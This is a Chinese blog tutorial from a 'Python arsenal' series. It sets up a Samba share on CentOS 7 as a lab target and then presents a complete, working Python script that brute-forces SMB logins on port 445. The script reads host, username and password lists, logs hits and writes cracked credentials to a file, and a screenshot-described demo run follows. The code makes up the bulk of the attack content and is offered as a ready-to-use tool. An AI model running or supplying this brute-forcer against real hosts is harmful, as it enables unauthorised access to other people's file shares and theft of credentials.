Python武器库开发-武器库篇之SMB服务暴力破解(五十五)

news2024/11/29 9:57:42

Python武器库开发-武器库篇之SMB服务暴力破解(五十五)

SMB服务(Server Message Block)是一种用于文件共享、打印机共享和其他资源共享的网络协议。它最初由IBM开发,后来被微软广泛采用。

SMB服务允许多台计算机在网络上共享文件和资源,从而实现文件的读取、写入和共享。通过SMB服务,用户可以访问其他计算机上的文件、打印机、文件夹和其他共享资源,就像访问本地资源一样。

SMB服务还提供了许多功能和特性,如权限控制、文件锁定、文件和目录的远程操作等。它通过TCP/IP协议在网络上进行通信,并使用NetBIOS或者TCP/IP的名称解析来定位和识别其他计算机上的共享资源。

SMB服务在Windows操作系统中得到广泛应用,并且被很多网络存储设备、打印机和其他网络设备所支持。它是实现文件共享和资源共享的重要协议之一,在企业和家庭网络中都有广泛的应用。

环境准备

首先,我们需要准备一台Centos7机器作为靶机在CentOS 7上配置SMB服务的步骤如下:

  1. 确保CentOS 7已安装samba软件包,如果未安装,请使用以下命令进行安装:
sudo yum install samba

在这里插入图片描述

  1. 使用文本编辑器打开SMB配置文件/etc/samba/smb.conf:
sudo vi /etc/samba/smb.conf

在配置文件中找到合适的全局配置部分(通常是以[global]开头),在其中添加以下内容:

[global]
security = user

这会将SMB服务器的安全模式设置为用户模式。

在这里插入图片描述

  1. 在文件的末尾添加以下内容,定义要共享的文件夹和访问权限:
[share]
    path = /path/to/shared/folder
    valid users = username
    read only = no

在上述示例中,将/path/to/shared/folder替换为您要共享的实际文件夹路径,并将username替换为允许访问此共享的用户名,然后保存并关闭配置文件。

在这里插入图片描述

  1. 配置SMB用户,使用以下命令创建SMB用户,并设置密码:
sudo smbpasswd -a username

在这里插入图片描述

您可以将username替换为将用于访问共享的实际用户名,随后您将被提示输入新密码。

将新用户添加到sudo组,使其具有管理员权限,输入以下命令:

sudo usermod -aG wheel username

其中,"username"是你刚刚创建的新用户的名称。

在这里插入图片描述

  1. 启动和启用SMB服务,使用以下命令启动SMB服务,并将其设置为在系统启动时自动启用:
sudo systemctl start smb
sudo systemctl enable smb
  1. 在防火墙上配置SMB服务。如果防火墙启用了,您需要允许SMB服务的通信。使用以下命令添加防火墙规则:
sudo firewall-cmd --permanent --add-service=samba
sudo firewall-cmd --reload

完成后,您可以使用Windows或其他支持SMB协议的设备访问CentOS 7上的共享文件夹,这样,您就在CentOS 7上成功配置了SMB服务。

破解代码

下来我们用python写一段暴力破解SMB服务的代码,代码内容如下:

import os
from smb.SMBConnection import SMBConnection


############################ Clear Consle While Start a Loop ##############################
def clear():
    os.system('cls')  # on Windows System


############################ Collect Single Credential From User Input ##############################
def CollectCredential():
    remote_ip = input('Enter Host IP:')
    username = input('Enter SMB Username:')
    password = input('Enter SMB Password:')
    domain = input('Enter Domain Name:')
    return (remote_ip, username, password, domain)


############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):
    ver = []
    try:
        file = open(up, 'r')
        data = file.readlines()
        print('File Direction Verified.')
        for line in data:
            ver.append(line.strip())
    except:
        ver.append(up)
        return ver
    return ver


############################ Collect File Directions From User Input ##############################
# Support IP, username, password SMB brute force attack,
# user can input single attributes replace one to three attributes with files
def CollectFiles():
    remote_ip = input('Enter Host IP or File Direction:')
    remote_ip = VerifyFile(remote_ip)
    username = input('Enter SMB Username or File Direction:')
    username = VerifyFile(username)
    password = input('Enter SMB Password or File Direction:')
    password = VerifyFile(password)
    domain = input('Enter Domain Name:')
    return (remote_ip, username, password, domain)


############################ Generate Collected Credentials in to Files ##############################
def GenerateCredentials():
    try:
        with open("Credential.txt", mode='w', encoding='utf-8') as ff:
            for i in range(len(credential)):
                ff.write(credential[i] + ' ')
                if (i + 1) % 4 == 0:
                    ff.write('\n')
    except FileNotFoundError:
        with open("Credential.txt", mode='w', encoding='utf-8') as ff:
            for i in range(len(credential)):
                ff.write(credential[i] + ' ')
                if (i + 1) % 4 == 0:
                    ff.write('\n')


############################ SMB Functions Using SMBConnection ##############################
class SMB(object):
    def __init__(self, remote_ip, username, password, domain):
        self.remote_ip = remote_ip
        self.username = username
        self.password = password
        self.domain = domain

    ############################ Use the Single Credential CollectCredential() to Login ##############################

    def SingleLoginScanner(self):
        my_name = ""
        remote_name = ""
        try:
            self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True,
                                      sign_options=2, is_direct_tcp=True)

            connected = self.conn.connect(self.remote_ip, 445)
            if connected == True:
                print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                self.remote_ip, self.username, self.password, self.domain))

                credential.append(self.remote_ip)
                credential.append(self.username)
                credential.append(self.password)
                credential.append(self.domain)
                print("Credential", credential)
            else:
                print('False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                self.remote_ip, self.username, self.password, self.domain))
            self.conn.close()
        except Exception as e:
            print(e)

    ############################ Use the Multiple Credentials CollectFiles() to Login ##############################
    def MultiLoginScanner(self):
        count = 0
        my_name = ""
        remote_name = ""
        for ip in self.remote_ip:
            for username in self.username:
                for password in self.password:
                    count += 1
                    try:
                        self.conn = SMBConnection(username, password, self.domain, my_name, remote_name,
                                                  use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)
                        connected = self.conn.connect(ip, 445)
                        if connected == True:
                            print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                            count, ip, username, password, self.domain))
                            credential.append(ip)
                            credential.append(username)
                            credential.append(password)
                            credential.append(self.domain)
                            print("Credential", credential)
                        else:
                            print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                            count, ip, username, password, self.domain))
                        self.conn.close()
                    except Exception as e:
                        print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' % (
                        count, ip, username, password, self.domain))
                        print(e)


############################ SMB Functions Support User to Chose ##############################
def main():
    while (1):
        print('********************SMB PYTHON TOOKIT********************')
        print('1. Single credential SMB Login Scanner')
        print('2. Credentials list from file SMB Brute Force')
        print('3. Generate Collected Credentials')
        print('4. Quit')
        print('*********************************************************\n')
        chose = input('Type number to pick function:')

        if chose == '1':
            print('Only support to input single ip address, username and password.\n')
            remote_ip, username, password, domain = CollectCredential()
            smb = SMB(remote_ip, username, password, domain)
            smb.SingleLoginScanner()

        elif chose == '2':
            print(
                'Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')
            remote_ip, username, password, domain = CollectFiles()
            smb = SMB(remote_ip, username, password, domain)
            smb.MultiLoginScanner()

        elif chose == '3':
            print('Generating Successful Credentials in a txt file...\n')
            GenerateCredentials()
            print('Generated Credential.txt in the same python Directory.\n')

        else:
            print('Please input valid number!\n')
            clear()


if __name__ == '__main__':
    credential = []
    main()

这段代码是一个SMB(Server Message Block)登录工具的Python脚本,用于验证SMB登录的凭据。

首先,脚本导入了osSMBConnection模块。

然后定义了一个clear函数,用于在启动循环时清除控制台。

接下来是CollectCredential函数,用于从用户输入中收集单个凭据,包括远程主机IP、SMB用户名、SMB密码和域名。

VerifyFile函数用于验证输入文件路径是否正确。如果路径找不到,它会将输入文件路径设置为一个属性。

CollectFiles函数用于从用户输入中收集文件路径。支持输入单个属性,用文件替换一个到三个属性。

GenerateCredentials函数用于将收集到的凭据生成为文本文件。

SMB类是一个SMB的封装类,包含了SMB登录的各种功能。

SingleLoginScanner函数用于使用单个凭据登录。

MultiLoginScanner函数用于使用多个凭据登录。

main函数是脚本的主函数,用于选择SMB登录功能。根据用户的选择,调用相应的函数。

最后,在脚本的主模块中定义了一个空的credential列表,用于存储登录成功的凭据。

当脚本作为独立的程序运行时,会调用main函数开始执行。

运行实验

接下来我们在实际运行这段代码试验一下,如图程序首先会要求我们选择一个破解的选项,我们这里选择 1 ,(单凭据破解):

在这里插入图片描述

随后程序会要求我们输入要破解的SMB服务的主机IP地址、登录用户名和破解密码,这里我们输入,域名如果没有的话我们可以选择不输入:

在这里插入图片描述

最后,如图我们成功登录了SMB服务:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1825050.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用 3D 图形 API 在 C# 中将 PLY 转换为 OBJ

OBJ和PLY是一些广泛使用的 3D 文件格式,易于编写和读取。这篇博文演示了如何以编程方式在 C# 中将 PLY 转换为 OBJ。此外,它还介绍了一种用于 3D 文件格式转换的在线3D 转换器。是的,Aspose.3D for .NET为程序员和非程序员提供了此功能来执行…

C# Winform Chart图表使用和详解

Chart控件是微软自带的一种图形可视化组件,能展示种类丰富的图表形式。如曲线图,折线图,饼状图,环形图,柱状图,曲线面积图。 实例代码链接:https://download.csdn.net/download/lvxingzhe3/8943…

网络安全 - DNS劫持原理 + 实验

DNS 劫持 什么是 DNS 为什么需要 DNS D N S \color{cyan}{DNS} DNS(Domain Name System)即域名系统。我们常说的 DNS 是域名解析协议。 DNS 协议提供域名到 IP 地址之间的解析服务。计算机既可以被赋予 IP 地址,也可以被赋予主机名和域名。用…

java第二十三课 —— 继承

面向对象的三大特征 继承 继承可以解决代码复用,让我们的编程更加靠近人类思维,当多个类存在相同的属性(变量)和方法时,可以从这些类中抽象出父类,在父类中定义这些相同的属性和方法,所有的子…

Anaconda环境安装失败的解决方案

链接步骤的补充。 为了运行marlib,需要一个全新的Anaconda环境。但是,不想把文件安装在C盘,会造成空间不足。于是试着在.condarc文件里面改动了路径,具体如图。 上图中,在defaults前面添加了D盘的路径作为安装路径。 …

增材制造引领模具创新之路

随着科技的快速发展和制造业的不断转型升级,增材制造(也称为3D打印)技术正逐渐展现出其在模具智造中的巨大潜力和优势。增材制造以其独特的加工方式和设计理念,为模具行业带来了革命性的变革,为传统制造业注入了新的活…

【odoo | XML-RPC】odoo外部API解读,实现跨系统间的通讯!

概要 文章注意对官方的XML-RPC进行解读实操,以python为例,给大家介绍其使用方式和调用方法。 内容 什么是odoo的外部API? Odoo 的外部 API 是一种允许外部应用程序与 Odoo 实例进行交互的接口。通过 API,可以执行各种操作,例如…

如果给电商系统颜值搞排名,我觉得淘宝千牛系统是天花板了。

淘宝的商家操作界面-千牛系统经过多年的迭代,无论从颜值上、功能上还是用户体验上都是行业天花板的存在,我截图软件上的一些图给大家分享下。

helm升级部署时出现升级挂起状态处理

问题 在使用helm 升级命令时,升级命令如下: helm upgrade -i -f ./values-prod.yaml myapp ./ -n myns --create-namespace中途因为网络原因,再次运行上面升级命令时出现,如下错误: Error: UPGRADE FAILED: another …

linux centos 安装docker

本章教程介绍如何在Linux CentOS中安装Docker服务。 1. 更新系统软件包 首先,确保你的系统软件包是最新的: sudo yum update -y2. 安装必要的依赖包 安装一些必要的依赖包: sudo yum install -y yum-utils device-mapper-persistent-data lvm23. 添加 Docker 的官方仓库…

Redis订阅发布你会用了吗?

点击下方“JavaEdge”,选择“设为星标” 第一时间关注技术干货! 免责声明~ 任何文章不要过度深思! 万事万物都经不起审视,因为世上没有同样的成长环境,也没有同样的认知水平,更「没有适用于所有人的解决方案…

[数据集][目标检测]变电站火灾检测电力场景烟雾明火检测数据集VOC+YOLO格式140张2类别真实场景非PS合成

数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):140 标注数量(xml文件个数):140 标注数量(txt文件个数):140 标注类别…

Prometheus的四种指标类型

目录 一、Counter 计数器 1.1Counter 是计数器类型 1.2Counter 类型示例 二、Gauge 仪表盘 2.1Gauge是测量器类型 2.2Gauge 类型示例 三、Histogram 累积直方图 3.1Histogram 作用及特点 3.2使用 histogram 柱状图 四、Summary 摘要 一、Counter 计数器 1.1Counter …

Java高级特性

引言 Java不仅提供了基础的编程功能,还包括了一系列强大的高级特性,这些特性能够显著提高代码的灵活性、可扩展性和性能。本文将详细介绍Java的几个高级特性,包括反射机制、注解与注释、泛型编程、以及Lambda表达式与Stream API,并…

AntDB数据库中级认证(ACP)题库

单项选择题 共35题,大题得分:62.0,大题满分:70.0 1.函数计算外移的作用? A. 增加计算量 B. 减少计算量 C. 减少冗余查询 D. 改变关联顺序 2.0(本题分数:2.0) 学员答案&#…

Stable Diffusion 【AI绘画提示词】摄影效果提示词,超美摄影效果摄影特效!让平凡的照片焕发出独特的魅力!

高端的摄影作品需要的专业设备价格昂贵,并不是一般人能够承受的起的,优质摄影作品对光线等一系列要求也非常的高,而AI摄影就完美的解决了这些问题,只需要配合适当的提示词,这些问题都可以迎刃而解。 AI绘画没灵感&…

几款让你怦然心动的神奇工具——搜嗖工具箱

alteredqualia AlteredQualia 脑洞爆炸器网站,不得不说这是一个神奇的网站,在这个网站上你可以实现不可思议的各种操作,让我们对网站有了新的认知,因为它告诉你不是所有有趣的网站都那么花哨,有些网站看着外形平淡无奇…

实时交通 | 城市交通态势采集及可视化操作(定时运行)

一、前言 交通态势数据是关于交通状况的一种量化描述,它提供了关于道路网络运行状态的详细信息。交通态势数据指的是根据车流入量和车流出量的定义,衡量整个全局交通区域交通态势的数据。这些数据通常从车辆GPS轨迹数据中提取,包括车辆行驶速…

虚拟淘宝-Virtual-Taobao论文解读(AAAI2019)

目录 1 论文简介 2 文章的主要贡献 3 文章技术的简要说明 4 技术的详细说明 4.1 GAN-SD:生成客户特征 4.2 MAIL:生成交互过程 4.3 ANC:动规范约束 5 实验设定及结果 6 结论 7 参考 1 论文简介 南京大学LAMDA团队的侍竞成、俞扬等…